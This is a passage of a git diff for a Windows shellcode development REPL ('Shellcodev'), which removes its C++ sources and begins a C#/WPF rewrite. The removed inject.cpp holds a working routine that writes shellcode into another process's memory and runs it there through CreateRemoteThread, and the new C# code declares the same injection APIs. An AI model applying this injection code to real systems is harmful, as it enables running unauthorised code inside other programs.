split(assembly, ";"); - std::vector data; - -#ifdef _M_X64 - size_t addr = sh->curr.Rip; -#elif defined(_M_IX86) - size_t addr = sh->curr.Eip; -#endif - - for (int i = 0; i < instructions.size(); i++) - { - std::vector itms = split(instructions[i], "\""); - for (std::vector::iterator it = itms.begin() + 1; it != itms.end(); it += 2) - { - std::string reg = get_register(instructions[i]); - std::vector parse = shelldev_parse_string(reg, *it); - - instructions.insert(instructions.end(), parse.begin(), parse.end()); - instructions.erase(instructions.begin() + i); - } - } - - for (std::string& instruction : instructions) - { - std::vector temp; - - if(instruction[instruction.size() - 1] != ':') - if (!shelldev_assemble(instruction.c_str(), temp, addr + temp.size())) - return FALSE; - - asm_t a; - a.instruction = instruction; - a.bytes = temp; - a.size = sizeof(temp); - - assemblies->push_back(a); - data.insert(data.end(), temp.begin(), temp.end()); - } - - if (!shelldev_write_shellcode(sh, data.data(), data.size())) - return FALSE; - - shelldev_debug_shellcode(sh); - - shelldev_print_registers(sh); - - return TRUE; -} - -BOOL shelldev_loop_eval(std::string jump, shell_t* sh, std::vector* assemblies) -{ -#ifdef _M_X64 - size_t addr = sh->curr.Rip; -#elif defined(_M_IX86) - size_t addr = sh->curr.Eip; -#endif - - std::vector data; - - asm_t asmt; - asmt.instruction = jump; - - assemblies->push_back(asmt); - - if (!shelldev_assemble_loop(assemblies, data, addr + data.size())) - return FALSE; - - // assemblies->at(assemblies->size() - 1).bytes; - - if (!shelldev_write_shellcode(sh, data.data(), data.size())) - return FALSE; - - shelldev_debug_shellcode(sh); - - shelldev_print_registers(sh); - - - return TRUE; -} - -BOOL shelldev_eval(shell_t* sh, std::string command, std::vector* assemblies) -{ - try - { - if (command.at(0) == '.') - return shelldev_run_command(sh, command, assemblies); - else if (command.at(0) == 'j') - return shelldev_loop_eval(command, sh, assemblies); - - return shelldev_run_shellcode(sh, command, assemblies); - } - catch (...) - { - shelldev_print_errors("An unhandled C++ exception occurred."); - } - - return TRUE; -} \ No newline at end of file diff --git a/Shellcodev/init.cpp b/Shellcodev/init.cpp deleted file mode 100644 index 791bf19..0000000 --- a/Shellcodev/init.cpp +++ /dev/null @@ -1,150 +0,0 @@ -#include "repl.h" - -static BOOL winrepl_create_debuggee(shell_t *sh) -{ - STARTUPINFO si = { 0 }; - TCHAR fileName[MAX_PATH] = { 0 }; - - GetModuleFileName(NULL, fileName, MAX_PATH); - - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // already 0 - si.cb = sizeof(si); - - if (!CreateProcess( - fileName, - NULL, - NULL, - NULL, - FALSE, - DEBUG_ONLY_THIS_PROCESS, - NULL, - NULL, - &si, - &sh->procInfo - )) - { - return FALSE; - } - - // workaround for a bug on startup (Windows 8.1 x64), SetThreadContext would fail for some reason - CloseHandle(sh->procInfo.hThread); - if (!(sh->procInfo.hThread = OpenThread( - THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION, - FALSE, - sh->procInfo.dwThreadId - ))) - { - return FALSE; - } - - // swallow initial debug events - while (TRUE) - { - DEBUG_EVENT dbg = { 0 }; - if (!WaitForDebugEvent(&dbg, 1000)) - break; - - if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) - CloseHandle(dbg.u.CreateProcessInfo.hFile); - - if (dbg.dwDebugEventCode == LOAD_DLL_DEBUG_EVENT) - { - if (dbg.u.LoadDll.hFile) - CloseHandle(dbg.u.LoadDll.hFile); - } - - if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && - dbg.dwThreadId == sh->procInfo.dwThreadId) - break; - - ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); - } - - return TRUE; -} - -static BOOL winrepl_alloc_mem(shell_t *sh) -{ - if (sh->nMemSize == 0) - sh->nMemSize = WINREPL_INIT_MEM_SIZE; - - sh->lpStartAddress = VirtualAllocEx( - sh->procInfo.hProcess, - NULL, - sh->nMemSize, - MEM_COMMIT, - PAGE_EXECUTE_READ); - - return sh->lpStartAddress != NULL; -} - -static BOOL winrepl_reset_context(shell_t *sh) -{ - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - - if (!GetThreadContext(sh->procInfo.hThread, &ctx)) - return FALSE; - -#ifdef _M_X64 - ctx.Rip = (DWORD64)sh->lpStartAddress; - - ctx.Rax = 0; - ctx.Rbx = 0; - ctx.Rcx = 0; - ctx.Rdx = 0; - - ctx.Rsi = 0; - ctx.Rdi = 0; - ctx.Rbp = 0; - - ctx.R8 = 0; - ctx.R9 = 0; - ctx.R10 = 0; - ctx.R11 = 0; - ctx.R12 = 0; - ctx.R13 = 0; - ctx.R14 = 0; - ctx.R15 = 0; - - ctx.EFlags = 0; -#elif defined(_M_IX86) - ctx.Eip = (DWORD)sh->lpStartAddress; - - ctx.Eax = 0; - ctx.Ebx = 0; - ctx.Ecx = 0; - ctx.Edx = 0; - - ctx.Esi = 0; - ctx.Edi = 0; - ctx.Ebp = 0; - - ctx.EFlags = 0; -#elif defined(_M_ARM) - // todo: ARM? - return FALSE; -#else - return FALSE; -#endif - - sh->prev = ctx; - sh->curr = ctx; - - return SetThreadContext(sh->procInfo.hThread, &ctx); -} - -BOOL shelldev_init(shell_t *sh) -{ - if (!winrepl_create_debuggee(sh)) - return FALSE; - - if (!winrepl_alloc_mem(sh)) - return FALSE; - - if (!winrepl_reset_context(sh)) - return FALSE; - - return TRUE; -} \ No newline at end of file diff --git a/Shellcodev/inject.cpp b/Shellcodev/inject.cpp deleted file mode 100644 index 82228d6..0000000 --- a/Shellcodev/inject.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include "repl.h" - -static std::vector get_shellcode(std::vector* assemblies) -{ - std::vector bytes; - - for (asm_t assembly : *assemblies) - bytes.insert(bytes.end(), assembly.bytes.begin(), assembly.bytes.end()); - - return bytes; -} - -BOOL shelldev_inject_shellcode(std::vector* assemblies, std::string pid) -{ - DWORD PID = std::stoi(pid); - shelldev_print_good("Injecting shellcode into %d", PID); - - std::vector bytes = get_shellcode(assemblies); - - HANDLE processHandle; - HANDLE remoteThread; - PVOID remoteBuffer; - - processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); - remoteBuffer = VirtualAllocEx(processHandle, NULL, bytes.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); - WriteProcessMemory(processHandle, remoteBuffer, bytes.data(), bytes.size(), NULL); - remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); - CloseHandle(processHandle); - - return TRUE; -} \ No newline at end of file diff --git a/Shellcodev/loop.cpp b/Shellcodev/loop.cpp deleted file mode 100644 index f40576e..0000000 --- a/Shellcodev/loop.cpp +++ /dev/null @@ -1,32 +0,0 @@ -#include - -#include -#include -#include "repl.h" - -static std::vector assemblies; - -BOOL shelldev_loop(shell_t *sh) -{ - if (!shelldev_init(sh)) - return FALSE; - - shelldev_print_pids(sh); - shelldev_print_registers(sh); - - while (TRUE) - { - std::string command = shelldev_read(); - - if (command.size() == 0) - continue; - - if (!shelldev_eval(sh, command, &assemblies)) - { - shelldev_print_errors("An unrecoverable error occurred, resetting environment!"); - break; - } - } - - return TRUE; -} \ No newline at end of file diff --git a/Shellcodev/main.cpp b/Shellcodev/main.cpp deleted file mode 100644 index 9dc8b10..0000000 --- a/Shellcodev/main.cpp +++ /dev/null @@ -1,25 +0,0 @@ -#include "repl.h" - -static shell_t sh = { 0 }; - -BOOL CALLBACK winrepl_exit(DWORD dwCtrlCode) -{ - DebugActiveProcessStop(sh.procInfo.dwProcessId); - ExitProcess(0); -} - -int main(int argc, char *argv[]) -{ - SetConsoleCtrlHandler(winrepl_exit, TRUE); - - std::cout << "Shellcodev v2.2 by XaFF based on WinREPL\n"; - std::cout << "Input assembly instructions, or \".help\" for a list of commands.\n" << std::endl; - - while (TRUE) - { - if (!shelldev_loop(&sh)) - break; - } - - return 0; -} \ No newline at end of file diff --git a/Shellcodev/print.cpp b/Shellcodev/print.cpp deleted file mode 100644 index d4a29a5..0000000 --- a/Shellcodev/print.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#include "repl.h" -#include - - -static inline BOOL check_bit(DWORD var, char pos) -{ - return !!((var) & (1 << (pos))); -} - -static void winrepl_reset_console_color() -{ - static HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); -} - -static void winrepl_print_console_color(WORD attributes, const char *format, ...) -{ - static HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - - if (attributes != 0) - SetConsoleTextAttribute(hConsole, attributes); - - va_list argptr; - va_start(argptr, format); - vfprintf(stderr, format, argptr); - va_end(argptr); - - winrepl_reset_console_color(); -} - - -static void winrepl_print_register_32(const char *reg, DWORD64 value, DWORD64 prev) -{ - winrepl_print_console_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY, "%s: ", reg); - - WORD color = (prev == value) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%08llx ", value); -} - -static void winrepl_print_register_64(const char *reg, DWORD64 value, DWORD64 prev) -{ - winrepl_print_console_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY, "%s: ", reg); - - WORD color = (prev == value) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%016llx ", value); -} - - -static void winrepl_print_register_flag(const char *flag, BOOL value, BOOL prev) -{ - winrepl_print_console_color(FOREGROUND_BLUE | FOREGROUND_GREEN, "%s: ", flag); - - WORD color = (prev == value) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%d ", value); -} - -#ifdef _M_X64 -static void winrepl_print_register_xmm(const char *reg, M128A value, M128A prev) -{ - - winrepl_print_console_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY, "%s: ", reg); - - printf("{ "); - WORD color = (prev.High == value.High) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%10.10e", value.High); - - printf(", "); - - color = (prev.Low == value.Low) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%10.10e", value.Low); - - - printf(" }\t"); - - color = (prev.High == value.High) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%016llx", value.High); - - color = (prev.Low == value.Low) ? 0 : FOREGROUND_RED | FOREGROUND_INTENSITY; - winrepl_print_console_color(color, "%016llx", value.Low); - - printf("\n"); - -} -#elif defined(_M_IX86) -// ?????????????? -static void winrepl_print_register_xmm(const char *reg, int a, int b) -{} -#else -// ?!!!!!!!!! -static void winrepl_print_register_xmm(const char *reg, int a, int b) -{} -#endif - - -void shelldev_print_errors(const char *format, ...) -{ - static HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - - winrepl_print_console_color(FOREGROUND_RED | FOREGROUND_INTENSITY, "%s", "[-] "); - - va_list argptr; - va_start(argptr, format); - vfprintf(stderr, format, argptr); - va_end(argptr); - - DWORD dwErr = GetLastError(); - if (dwErr != 0) - printf(" (errno: %d)", dwErr); - - printf("\n"); -} - -void shelldev_print_bytes(unsigned char *addr, int len, unsigned long long start_addr) -{ - int i; - unsigned char buff[17]; - unsigned char *pc = (unsigned char*)addr; - - for (i = 0; i < len; i++) - { - if ((i % 16) == 0) - { - if (i != 0) - printf(" %s\n", buff); - - printf(" %04llx ", start_addr + i); - } - - printf(" %02x", pc[i]); - - if ((pc[i] < 0x20) || (pc[i] > 0x7e)) - buff[i % 16] = '.'; - else - buff[i % 16] = pc[i]; - buff[(i % 16) + 1] = '\0'; - } - - while ((i % 16) != 0) - { - printf(" "); - ++i; - } - - printf(" %s\n", buff); -} - -void shelldev_print_good(const char *format, ...) -{ - winrepl_print_console_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY, "%s", "[+] "); - va_list argptr; - va_start(argptr, format); - vfprintf(stderr, format, argptr); - va_end(argptr); - printf("\n"); -} - -void shelldev_print_registers(shell_t *sh) -{ - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - - GetThreadContext(sh->procInfo.hThread, &ctx); - -#ifdef _M_X64 - winrepl_print_register_64("rax", ctx.Rax, sh->prev.Rax); - winrepl_print_register_64("rbx", ctx.Rbx, sh->prev.Rbx); - winrepl_print_register_64("rcx", ctx.Rcx, sh->prev.Rcx); - winrepl_print_register_64("rdx", ctx.Rdx, sh->prev.Rdx); - printf("\n"); - - winrepl_print_register_64("r8 ", ctx.R8, sh->prev.R8); - winrepl_print_register_64("r9 ", ctx.R9, sh->prev.R9); - winrepl_print_register_64("r10", ctx.R10, sh->prev.R10); - winrepl_print_register_64("r11", ctx.R11, sh->prev.R11); - printf("\n"); - - winrepl_print_register_64("r12", ctx.R12, sh->prev.R12); - winrepl_print_register_64("r13", ctx.R13, sh->prev.R13); - winrepl_print_register_64("r14", ctx.R14, sh->prev.R14); - winrepl_print_register_64("r15", ctx.R15, sh->prev.R15); - printf("\n"); - - - winrepl_print_register_64("rsi", ctx.Rsi, sh->prev.Rsi); - winrepl_print_register_64("rdi", ctx.Rdi, sh->prev.Rdi); - printf("\n"); - - winrepl_print_register_64("rip", ctx.Rip, sh->prev.Rip); - winrepl_print_register_64("rsp", ctx.Rsp, sh->prev.Rsp); - winrepl_print_register_64("rbp", ctx.Rbp, sh->prev.Rbp); - printf("\n"); -#elif defined(_M_IX86) - winrepl_print_register_32("eax", ctx.Eax, sh->prev.Eax); - winrepl_print_register_32("ebx", ctx.Ebx, sh->prev.Ebx); - winrepl_print_register_32("ecx", ctx.Ecx, sh->prev.Ecx); - winrepl_print_register_32("edx", ctx.Edx, sh->prev.Edx); - printf("\n"); - - winrepl_print_register_32("esi", ctx.Esi, sh->prev.Esi); - winrepl_print_register_32("edi", ctx.Edi, sh->prev.Edi); - printf("\n"); - - winrepl_print_register_32("eip", ctx.Eip, sh->prev.Eip); - winrepl_print_register_32("esp", ctx.Esp, sh->prev.Esp); - winrepl_print_register_32("ebp", ctx.Ebp, sh->prev.Ebp); - printf("\n"); -#endif - -#if defined(_M_X64) || defined(_M_IX86) - printf("flags: %08x ", ctx.EFlags); - - winrepl_print_register_flag("CF", check_bit(ctx.EFlags, 0), check_bit(sh->prev.EFlags, 0)); - winrepl_print_register_flag("PF", check_bit(ctx.EFlags, 2), check_bit(sh->prev.EFlags, 2)); - winrepl_print_register_flag("AF", check_bit(ctx.EFlags, 3), check_bit(sh->prev.EFlags, 3)); - winrepl_print_register_flag("ZF", check_bit(ctx.EFlags, 6), check_bit(sh->prev.EFlags, 6)); - winrepl_print_register_flag("SF", check_bit(ctx.EFlags, 7), check_bit(sh->prev.EFlags, 7)); - winrepl_print_register_flag("DF", check_bit(ctx.EFlags, 10), check_bit(sh->prev.EFlags, 10)); - winrepl_print_register_flag("OF", check_bit(ctx.EFlags, 11), check_bit(sh->prev.EFlags, 11)); - - /* - - printf("cf: %d, ", check_bit(ctx.EFlags, 0)); - printf("pf: %d, ", check_bit(ctx.EFlags, 2)); - printf("af: %d, ", check_bit(ctx.EFlags, 4)); - printf("zf: %d, ", check_bit(ctx.EFlags, 6)); - printf("sf: %d, ", check_bit(ctx.EFlags, 7)); - printf("df: %d, ", check_bit(ctx.EFlags, 10)); - printf("of: %d]", check_bit(ctx.EFlags, 11)); - */ - printf("\n"); -#endif -} - -void shelldev_print_registers_all(shell_t *sh) -{ - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - - GetThreadContext(sh->procInfo.hThread, &ctx); - -#ifdef _M_X64 - winrepl_print_register_xmm("xmm0 ", ctx.Xmm0, sh->prev.Xmm0); - winrepl_print_register_xmm("xmm1 ", ctx.Xmm1, sh->prev.Xmm1); - winrepl_print_register_xmm("xmm2 ", ctx.Xmm2, sh->prev.Xmm2); - winrepl_print_register_xmm("xmm3 ", ctx.Xmm3, sh->prev.Xmm3); - winrepl_print_register_xmm("xmm4 ", ctx.Xmm4, sh->prev.Xmm4); - winrepl_print_register_xmm("xmm5 ", ctx.Xmm5, sh->prev.Xmm5); - winrepl_print_register_xmm("xmm6 ", ctx.Xmm6, sh->prev.Xmm6); - winrepl_print_register_xmm("xmm7 ", ctx.Xmm7, sh->prev.Xmm7); - winrepl_print_register_xmm("xmm8 ", ctx.Xmm8, sh->prev.Xmm8); - winrepl_print_register_xmm("xmm9 ", ctx.Xmm9, sh->prev.Xmm9); - winrepl_print_register_xmm("xmm10", ctx.Xmm10, sh->prev.Xmm10); - winrepl_print_register_xmm("xmm11", ctx.Xmm11, sh->prev.Xmm11); - winrepl_print_register_xmm("xmm12", ctx.Xmm12, sh->prev.Xmm12); - winrepl_print_register_xmm("xmm13", ctx.Xmm13, sh->prev.Xmm13); - winrepl_print_register_xmm("xmm14", ctx.Xmm14, sh->prev.Xmm14); - winrepl_print_register_xmm("xmm15", ctx.Xmm15, sh->prev.Xmm15); -#endif - - shelldev_print_registers(sh); -} - -void shelldev_print_pids(shell_t *sh) -{ - DWORD dwPPID = GetCurrentProcessId(); - DWORD dwPTID = GetCurrentThreadId(); - DWORD dwCPID = sh->procInfo.dwProcessId; - DWORD dwCTID = sh->procInfo.dwThreadId; - printf("PPID: %d\tPTID: %d\tCPID: %d\tCTID: %d\n", dwPPID, dwPTID, dwCPID, dwCTID); -} \ No newline at end of file diff --git a/Shellcodev/read.cpp b/Shellcodev/read.cpp deleted file mode 100644 index 162d2d3..0000000 --- a/Shellcodev/read.cpp +++ /dev/null @@ -1,14 +0,0 @@ -#include "repl.h" - - -std::string shelldev_read() -{ - std::string command; - - std::cout << ">>> "; - std::getline(std::cin, command); - - trim(command); - - return command; -} \ No newline at end of file diff --git a/Shellcodev/repl.h b/Shellcodev/repl.h deleted file mode 100644 index de41249..0000000 --- a/Shellcodev/repl.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include - -#include - -#include "str.h" - -#define WINREPL_INIT_MEM_SIZE 0x10000 - -extern BOOL xorNulls; - -typedef struct _shell_context_t { - PROCESS_INFORMATION procInfo; - LPVOID lpStartAddress; - SIZE_T nMemSize; - CONTEXT prev; - CONTEXT curr; -} shell_t; - -typedef struct _asm_context_t { - std::string instruction; - std::vector bytes; - int size; -} asm_t; - -typedef struct _parser_context_t { - std::string instruction; - BOOL xored; -} _str_parser_t; - -BOOL shelldev_init(shell_t* sh); -BOOL shelldev_loop(shell_t* sh); - -std::string shelldev_read(); - -BOOL shelldev_eval(shell_t* sh, std::string command, std::vector* assemblies); -BOOL shelldev_write_shellcode(shell_t* sh, unsigned char* encode, size_t size); -void shelldev_debug_shellcode(shell_t* sh); - -std::vector shelldev_parse_string(std::string value); -BOOL shelldev_run_shellcode(shell_t* sh, std::vector* assemblies); -BOOL shelldev_run_shellcode(shell_t* sh, std::string assembly, std::vector* assemblies); -BOOL shelldev_run_command(shell_t* sh, std::string command, std::vector* assemblies); -BOOL shelldev_assemble_loop(std::vector* assemblies, std::vector& data, size_t address); - -void shelldev_print_pids(shell_t* sh); -void shelldev_print_registers(shell_t* sh); -void shelldev_print_registers_all(shell_t* sh); -void shelldev_print_assembly(unsigned char* encode, size_t size); -void shelldev_print_bytes(unsigned char* addr, int len, unsigned long long start_addr = 0); -void shelldev_print_good(const char* format, ...); -void shelldev_print_errors(const char* format, ...); - -BOOL shelldev_inject_shellcode(std::vector* assemblies, std::string pid); \ No newline at end of file diff --git a/Shellcodev/shellcodev2.ico b/Shellcodev/shellcodev2.ico new file mode 100644 index 0000000..d6b798a Binary files /dev/null and b/Shellcodev/shellcodev2.ico differ diff --git a/Shellcodev/str.cpp b/Shellcodev/str.cpp deleted file mode 100644 index 91e87c8..0000000 --- a/Shellcodev/str.cpp +++ /dev/null @@ -1,66 +0,0 @@ -#include "str.h" - - -void ltrim(std::string &s) -{ - s.erase(s.begin(), std::find_if(s.begin(), s.end(), [](int ch) { - return !std::isspace(ch); - })); -} - -// trim from end (in place) -void rtrim(std::string &s) -{ - s.erase(std::find_if(s.rbegin(), s.rend(), [](int ch) { - return !std::isspace(ch); - }).base(), s.end()); -} - -void trim(std::string &s) -{ - ltrim(s); - rtrim(s); -} - -std::vector split(const std::string &str, const std::string &delim) -{ - const auto delim_pos = str.find(delim); - - //std::string two = delim + delim; - //std::replace(str.begin(), str.end(), two, delim); - - if (delim_pos == std::string::npos) - return{ str }; - - std::vector ret{ str.substr(0, delim_pos) }; - auto tail = split(str.substr(delim_pos + delim.size(), std::string::npos), delim); - - ret.insert(ret.end(), tail.begin(), tail.end()); - - return ret; -} - -std::string join(const std::vector &elements, const std::string &separator) -{ - if (!elements.empty()) - { - std::stringstream ss; - auto it = elements.cbegin(); - while (true) - { - ss << *it++; - if (it != elements.cend()) - ss << separator; - else - return ss.str(); - } - } - return ""; -} - -bool is_number(const std::string& s) -{ - std::string::const_iterator it = s.begin(); - while (it != s.end() && std::isdigit(*it)) ++it; - return !s.empty() && it == s.end(); -} \ No newline at end of file diff --git a/Shellcodev/str.h b/Shellcodev/str.h deleted file mode 100644 index 198ba72..0000000 --- a/Shellcodev/str.h +++ /dev/null @@ -1,68 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include - -void ltrim(std::string &s); -void rtrim(std::string &s); -void trim(std::string &s); -bool is_number(const std::string& s); - -std::vector split(const std::string &str, const std::string &delim); -std::string join(const std::vector &elements, const std::string &separator); - -template -static void separate(std::string & input) -{ - for (auto it = input.begin(); (num + 1) <= std::distance(it, input.end()); ++it) - { - std::advance(it, num); - it = input.insert(it, separator); - } -} - -static unsigned char hex_char_to_byte(char Input) -{ - return - ((Input >= 'a') && (Input <= 'f')) - ? (Input - 87) - : ((Input >= 'A') && (Input <= 'F')) - ? (Input - 55) - : ((Input >= '0') && (Input <= '9')) - ? (Input - 48) - : 0;//throw std::exception{}; -} - -/* Position the characters into the appropriate nibble */ -static unsigned char transform_hex_to_byte(char High, char Low) -{ - return (hex_char_to_byte(High) << 4) | (hex_char_to_byte(Low)); -} - -template -static std::string from_hex(InputIterator first, InputIterator last) -{ - std::ostringstream oss; - - while (first != last) - { - char highValue = *first++; - if (highValue == ' ') - continue; - - if (first == last) - break; - - char lowValue = *first++; - - //char ch = (hex_to_byte::high(highValue) | hex_to_byte::low(lowValue)); - unsigned char ch = transform_hex_to_byte(highValue, lowValue); - oss << ch; - } - - return oss.str(); -} \ No newline at end of file diff --git a/Shellcodevv/App.config b/Shellcodevv/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Shellcodevv/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Shellcodevv/App.xaml b/Shellcodevv/App.xaml new file mode 100644 index 0000000..eb10575 --- /dev/null +++ b/Shellcodevv/App.xaml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + diff --git a/Shellcodevv/App.xaml.cs b/Shellcodevv/App.xaml.cs new file mode 100644 index 0000000..c474ce4 --- /dev/null +++ b/Shellcodevv/App.xaml.cs @@ -0,0 +1,11 @@ +using System.Windows; + +namespace Shellcodevv +{ + /// + /// Logika interakcji dla klasy App.xaml + /// + public partial class App : Application + { + } +} diff --git a/Shellcodevv/Assets/ButtonTheme.xaml b/Shellcodevv/Assets/ButtonTheme.xaml new file mode 100644 index 0000000..b38c946 --- /dev/null +++ b/Shellcodevv/Assets/ButtonTheme.xaml @@ -0,0 +1,52 @@ + + + + + \ No newline at end of file diff --git a/Shellcodevv/Assets/RichTxtTheme.xaml b/Shellcodevv/Assets/RichTxtTheme.xaml new file mode 100644 index 0000000..9ba849a --- /dev/null +++ b/Shellcodevv/Assets/RichTxtTheme.xaml @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Shellcodevv/Assets/TextboxTheme.xaml b/Shellcodevv/Assets/TextboxTheme.xaml new file mode 100644 index 0000000..d45741d --- /dev/null +++ b/Shellcodevv/Assets/TextboxTheme.xaml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Shellcodevv/Core/AssemblyHandler.cs b/Shellcodevv/Core/AssemblyHandler.cs new file mode 100644 index 0000000..e415908 --- /dev/null +++ b/Shellcodevv/Core/AssemblyHandler.cs @@ -0,0 +1,276 @@ +using Shellcodevv; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Shellcodev +{ + public class API + { + #region Structures + [StructLayout(LayoutKind.Sequential)] + public struct Registers + { + public int eax; + public int ebx; + public int ecx; + public int edx; + public int esi; + public int edi; + public int eip; + public int esp; + public int ebp; + } + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public Int32 dwProcessID; + public Int32 dwThreadID; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public Int32 Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + public enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + #endregion + + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr AssembleInstructions(string instruction); + + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static unsafe extern IntPtr GetRegisters(string instruction, PROCESS_INFORMATION* pi); + + [DllImport("kernel32.dll")] + public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, + bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, + string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + } + + public class AssemblyHandler + { + public string Assembler(string instructions) + { + IntPtr pointer = API.AssembleInstructions(instructions); + string bytes = Marshal.PtrToStringAnsi(pointer); + if (bytes == "InvalidInstruction") + return null; + + SetRegisters(instructions, MainWindow.pi); + + //Starting from 0, place space every second byte + string temp = null; + for (int i = 0; i < bytes.Length; i++) + { + if (i % 2 != 0) + temp += bytes[i] + " "; + else + temp += bytes[i]; + } + + return temp; + } + + #region Registers + + private void AppendRegisters(API.Registers registers) + { + List list = new List(); + string[] regs = { "EAX: ", "EBX: ", "ECX: ", "EDX: " }; + object[] r = { registers.eax, registers.ebx, registers.ecx, registers.edx }; + + var main = MainWindow.ReturnInstance(); + + + for (int i = 0; i < regs.Length; i++) + { + int toHex = Convert.ToInt32(r[i]); + string hex = toHex.ToString("X8"); + list.Add(regs[i] + hex); + } + + string str = string.Join(" ", list); + main.registersBox.Text = str; + } + + private void AppendIndexes(API.Registers registers) + { + List list = new List(); + string[] indexes = { "EDI: ", "ESI: " }; + object[] index = { registers.edi, registers.esi }; + + var main = MainWindow.ReturnInstance(); + + for (int i = 0; i < indexes.Length; i++) + { + int toHex = Convert.ToInt32(index[i]); + string hex = toHex.ToString("X8"); + list.Add(indexes[i] + hex); + } + + string str = string.Join(" ", list); + main.indexesBox.Text = str; + } + + private void AppendPointers(API.Registers registers) + { + List list = new List(); + string[] pointers = { "EIP: ", "ESP: ", "EBP: " }; + object[] pointer = { registers.eip, registers.esp, registers.ebp }; + + var main = MainWindow.ReturnInstance(); + + for (int i = 0; i < pointers.Length; i++) + { + int toHex = Convert.ToInt32(pointer[i]); + string hex = toHex.ToString("X8"); + list.Add(pointers[i] + hex); + } + + string str = string.Join(" ", list); + main.pointersBox.Text = str; + } + + private string Clear(string instruction) + { + string[] split = instruction.Split(new char[] { ',', ' ' }); + + if (split[0] == "xor" && split[1] == split[2]) + return split[1]; + + return null; + } + + // Absolute pain + private API.Registers Configure(API.Registers registers, API.Registers prevRegisters, string instruction) + { + string reg = Clear(instruction); + + if (registers.eax != 0) prevRegisters.eax = registers.eax; + else if (registers.ebx != 0) prevRegisters.ebx = registers.ebx; + else if (registers.ecx != 0) prevRegisters.ecx = 